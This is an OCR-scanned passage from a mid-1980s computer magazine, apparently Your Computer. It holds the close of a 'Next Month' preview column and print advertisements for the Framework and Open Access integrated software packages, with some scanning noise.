this feature is planned as the pilot for the series. 

August will also give you the cheapest computer education 
around (as does any issue of YC) with two tutorials: Phil Grouse’s 
Structured Programming and Les Bell's PCs In Marketing. There are 
instalments of both in this issue — check them out if you haven't 
already, and we're sure you'll be back for more next month. 

The Great Database Search continues next month, though we're 
trying to get out of the habit of saying which package will come 

under the spotlight — every time we do it, a different one appears. 
Production and editorial mishaps aside, we hope to bring you 
R:base (did you hear that, Les?) and Sensible Solution. 

Other features planned (but, as usual, never guaranteed) in- 
clude: a look at what the not-so-broke Osborne is up to; a feature on 
the new-age electronic secretary; a review of the popular Norton Utilities; 
an exciting Trivia Quiz; and What's in the Packet? — the good and bad 
news on sending binary data over digital packet-switching net- 
works. 

It’s also Annual Index time — we'll have a full, cross-referenced list 
of the articles and programs which have appeared in the last 12 
issues of YC. 

SPEAK NOW, AND OTHER DISCLAIMERS 
Having a Next Month column has been a great idea, and we plan to 
keep it up, but we really do need to warn you that nothing men- 
tioned here is guaranteed to appear in the next (or any) issue. 

We only mention stories which are at an advanced stage of 
planning and preparation — and are scheduled on our issue 
synopsis and planning sheets — but there are a number of factors 
which can stop any of those stories from appearing. The first is 
space: we find we're always trying to squeeze more into an issue 
than will fit. Others include last-minute production dramas, failed 
photography, and faults with test equipment or software. Also, it’s 
often difficult to get distributors to supply the last few bits of 
information needed to round out a review or, in particular, our 
product surveys. 

For example, last month we promised part two of Software On 
The Cheap for this issue. It didn’t fit, which was enough to make our 
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artists cry as it was the first feature we had finished and ready for 
printing! 

So be aware that anything listed in this column is most likely to 
appear (and certainly the outline of the issue’s theme will be 
accurate), but is not a 100 per cent starter. 

Now, on to future issues: in September, we'll be looking at 
Artificial Intelligence while in October it will be Do-It-Yourself Computing. 
Any companies (or contributors) with an interest in these areas 

should be bombarding us with information right now. 
Meanwhile, we're still waiting to hear from travel agents; we're 

definitely going to an island! Readers who want to join us should 
apply now, as numbers will be strictly limited. (You stand a better 
chance if you can make sushi, croissants, curry, tacos, fettucine or any- 

thing else tasty or alcoholic). O 
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Remember when you were young, the games you 
used to play, the expanding creativity, the 
freedom? 

And today? Do you still practice creative problem 
solving. Are you looking for a computer solution 
that multiplies thought as easily as it multiplies 
numbers. 

Then consider Framework. Framework’s outlining 
feature lets you develop your ideas in the order 
you choose. Then lets you move them around to 
make the strongest possible argument. 

Nowadays, words often seem to need “financial 
justifications.” So your spreadsheet is completely 
integrated with the word processor. 

Two other features help you make your point even 
stronger. An integrated database to hold all the 
facts, and a graphing function to illustrate your 
message. 
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child's play? 
Framework from Ashton-Tate is completely 
integrated software — outlining, word processing, 
spreadsheet, graphing. database, and data 
communications. 

The Australian Software Guide said — 

“.. Framework is an impressive product, and 
pleasing to use. It allows you to create, modify, 
organize and analyse information, and to 
present itina professional way. Its strengths lie 

in its text management, its ease of use, and the 
way it allows you to organise interrelated 
information”. 

So, is Framework child's play? 

Find out for yourself by asking for ademonstration 
at your local computer dealér. Or complete the 

coupon below. 

A special offer. 

If you buy Framework between April 9 and June, 
30 1985 we'll send you a complete Framework 
reference library of Ashton-Tate books worth 
more than $200. We've listed the titles below:- 

Framework: 

An Introduction 

Framework: 

On-The-Job 

Applications 

Framework: 

An Introduction to 

Programming 

Framework: 

A Programmer's 
Reference 

Framework: 
A Developer's Handbook. 

ARCOM PACIFIC @ 252 Abbotsford Road M@ Mayne, Brisbane Q 4006 Mf Fax (07) 52 7820 @ Telex AA 44187 @ Phone (07) 52 9522 &@ 
Brisbane MH Sydney @ Melbourne & New Zealand 
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| would like to discover more about Framework. Please send me more information. 

| understand | need an IBM PC, XT, AT or close compatible with at least 384K RAM to run this software. 

on —“‘OOOCiir eS  —  —  r— eee 
send to Freepost 2 Arcom Pacific P.O. Box 13 Clayfield Qld 4011. (No stamp required 
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In fact Open Access is compatible with = around the powerful information manager. 
more than 25 of the worlds most popular Open Access operates on the 
microcomputers. following MS/PC DOS microcomputers: 

Open Access. is the popular integrated AT&T, Challenger, Chamellion, 
do-it-all super program that can perform Columbia, Compaq, Corona, Datamax, 
virtually every task you're ever likely Data General, Digital Rainbow, Eagle, 
to encounter. Emtek, Hewlett-Packard, Hyperion, IBM, 

Open Access includes an electronic ITT Extra, Monroe, NCR, NEC, Olivetti, 
Pantek, Philips, spreadsheet, 3D business 
President, Sigma, Sperry, graphics, word processor, 

appointment scheduler Tandy, TeleVideo, 
and telecommunications Toshiba, Texas Instruments, 
‘module, all revolving Wang, Zenith. 

OFTWARE 7 Avon Road, North Ryde, NSW 2113 
Telephone (02) 888 1955. Telex AA 75364 


